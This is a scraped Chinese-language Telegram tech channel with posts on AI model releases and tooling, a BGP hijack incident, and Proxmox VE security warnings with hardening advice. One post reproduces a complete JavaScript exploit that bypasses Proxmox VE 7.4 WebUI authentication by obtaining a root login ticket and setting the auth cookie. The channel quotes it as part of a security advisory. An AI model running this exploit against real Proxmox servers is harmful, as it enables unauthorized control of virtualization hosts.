HAT's Public Channel |
Kanalga Telegram’da o‘tish
二代目转生频道,主要是带有个人偏好的技术类消息,UTC-N 时区,本频道除特殊消息外默认静音发送消息。 TG 平台内转发的消息不代表本人立场 / 随缘更新 可能包含的关键词: AI, LLM, 前/后端, DevOps 以及一些小杂碎和可能的暴论/锐评 非常欢迎转发本频道所撰写的内容,但对于本频道原创内容还请带上来源,谢谢! 本频道消息下方的 TG 官方广告位并非由频道主投放,频道主也无法直接将其关闭,请勿相信广告内容。 联系频道主: 请直接私聊 @omnihat_bot or 频道 DM
Ko'proq ko'rsatishMamlakat belgilanmaganToif belgilanmagan
3 411
Obunachilar
+1424 soatlar
+527 kun
+5230 kun
Postlar arxiv
哎, Tanstack 是目前唯二 (还有一个 Remix) 不算邪恶三角形势力的主流 react SSR framework 了,难道现在也要...(叹气)
https://fixupx.com/tan_stack/status/2094888852607652280
老马之前吹的 Grok 4.7 也要发了
https://fixupx.com/elonmusk/status/2094983639780204846
+1
OpenAI 称 Astra 将大幅提升网络安全赛道能力,相比 GPT-5.6 Sol (Daybreak Blue):ExploitBench 进步 239.4%、触发蜜罐的概率改善了 97.7% (改善后仅 1.3%)
(均为 Daybreak Blue 访问权限, 非 Red)
src https://openai.com/index/path-to-astra/
极致省流版:https://stolen-thoughts.com/paper.pdf 把 A/ 叔叔逼急了偷偷给 Fable 5 发了个小版本迭代加强了思维链签名算法阻断了跨模型蒸馏路径,但 breaking changes 这么多容易引发众怒,于是 A/ 送了个桃求大家适配新 Fable 5.1 模型 (缓存命中永久25折),模型表现是没有提升的。
Fable 5.1 来了,Astra 还会远吗?
Breaking Changes TL;DR:
1. (最大变更) Fable 5.1 加强了奇技淫巧 “解密” 思维链门槛 a) Fable 5.1 可以读取 Claude Opus 5、Claude Fable 5、Claude Mythos 5 以及更早的 Claude 模型中的加密思维链 b) 更高级的 Mythos 5.1 和 Fable 5.1 自身可以读取 Fable 5.1 的思维链,但其他模型都无法读取 c) 新的思维链加密签名算法会针对 “所有历史记录” 进行 checksum, 如果手动编辑了历史记录,那么最新的思维链签名将会失效 TL;DR: 也就是说从此之后 A\ 只允许新的、先进的模型读取旧模型的思维链,以防被跨模型蒸馏。 2. 输入输出价格相同,缓存读取成本降低至 1/4 ($1/M -> $0.25/M) 3. Claude Mythos 5.1 也同步发布,但仍需申请 Project Glasswinghttps://platform.claude.com/docs/en/models/fable-5-1/overview
此漏洞已分配编号 PSA-2026-00043-1
确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9
*如果你在 PVE WebUI 中配置了用户的 TFA,就不受此漏洞影响
https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
Update: 由于 PVE 7.x 已 EOL,因此对应版本的 Exploit 已提前发布(确认可完整绕过 WebUI 认证),8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何,尽快参考 最佳实践 加固你所有对外开放的敏感服务!
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
观后感:不是,你就这么水灵灵的拿到 login cookie 了?
https://fixupx.com/nebusecurity/status/2094719919539793989从 ChatGPT Web 提取的 Skills, 主要有 docx, pdfs, slides, spreadsheets
含有大量 PPT 模板、PDF/PPT/DOCX/openpyxl/ooxml/... 软件工程基建
Gemini 3.8 Flash 要来了
https://fixupx.com/lyraxana/status/2094493368235471161
Kimi Code 现已支持 Responses API,即刻在 Codex 中体验 Kimi 为了满足大家对 Codex 的需求,Kimi Code 服务端已原生支持 OpenAI Responses API(流式/非流式、reasoning、function calling 均可用),Codex CLI 可以通过自定义 model provider 直连 Kimi Code,无需任何本地路由或协议转换工具。(Codex桌面端与Codex CLI配置底层逻辑一致 ) 如何将 Kimi Code 模型接入 Codex,详见具体配置方法文档 👉 https://www.kimi.com/code/docs/third-party-tools/codex.html ⚠️ 使用 Codex 桌面 App 时还需要一步: 从 Dock 或访达启动的 App 读不到终端里的环境变量,需要把 Key 注入当前用户会话。在终端执行: launchctl setenv KIMI_API_KEY "sk-kimi-你的key" 执行后完全退出桌面 App(Cmd+Q)再重新打开,才会生效。注意:该变量在重启电脑后失效,需要重新执行。 Windows 没有这一步——setx 写入的是系统环境变量,重启 App 即可。 【信源:Kimi Code 官方飞书群】
AngelSlim (也是 Tencent Hy 旗下) 这个思路怎么有一种非常强烈的 Unsloth 即视感呢?
https://fixupx.com/TencentHunyuan/status/2093572224342954019
Repost from Hacker News 摘要
互联网中心化与 NAT 的“原罪”
原文:https://dreamstation.systems/personal/ntppost.html
阅读时间:4 分钟
分数:196
+1
怎么 codex cli 新版又改成这b样了 (图1是新版, 图2是上个版本加的) ,真的是越来越难用
他们 CLI 的产品经理真的还有人类吗?
#风险预警
本频道从多信源整理, PVE WebUI 近期极有可能已出现严重 RCE 0day 安全漏洞 (并已出现在野利用报告),从 PVE7 (已 EOL, 建议立即更新) 到 PVE8 (已知报告版本: 8.0.3 / 8.2 / 8.4) 全系列均已被攻破,可绕过身份验证。
操作建议: 1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网; 2) 如一定需要暴露公网,也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare Zero-Trust (One) 为 PVE WebUI 增加二层防护 (或者最简单的: 加个 basic auth);在 sshd config 中也禁止使用密码登录; 3) 哪怕 PVE 仅部署在内网,也请配置好 IP-ACL Rule; 4) PVE <=8 已正式 EOL,无论如何都请更新到 PVE 9; 5) 非常建议 PVE9 也采取以上安全措施建议; 6) 近期在运维时需要投入更多精力关注 PVE 相关补丁更新。refs: PVE7 report | PVE 8.0.3/8.2/8.4 report
观后感:大为震撼。
在 2026 年竟然还能发生 BGP 劫持 (还带了有效的 RPKI ROA),竟然可以整整劫持 48h、甚至连证书错误颁发下来了还没任何人发现?
尽早普及 RPKI ASAP,任重而道远。
劫持源 ISP: AS62390 NexonHost (上游: AS6204 ZET.NET),可以拉黑这两家上游了。
Repost from lowendaff
https://www.virtualizor.com/blog/security-incident-bgp-hijacking/
2026年8月28日至30日期间,Softaculous 位于 Hetzner 的基础设施遭遇了严重的 BGP 劫持攻击,攻击者将大量官方流量重定向至其控制的恶意服务器,并利用骗取的合法 TLS 证书实现了无安全警告的拦截,这导致部分 Virtualizor 服务器在更新时被植入了恶意软件包,且在此期间登录客户区或操作账单的用户也面临着账户密码泄露的风险。
目前网络路由已全面恢复正常,官方紧急呼吁所有系统管理员立即排查服务器中是否存在特定的入侵指标(如
java-jre-update.service 文件),并立刻重置客户区密码、API 密钥以及审计服务器安全以消除隐患。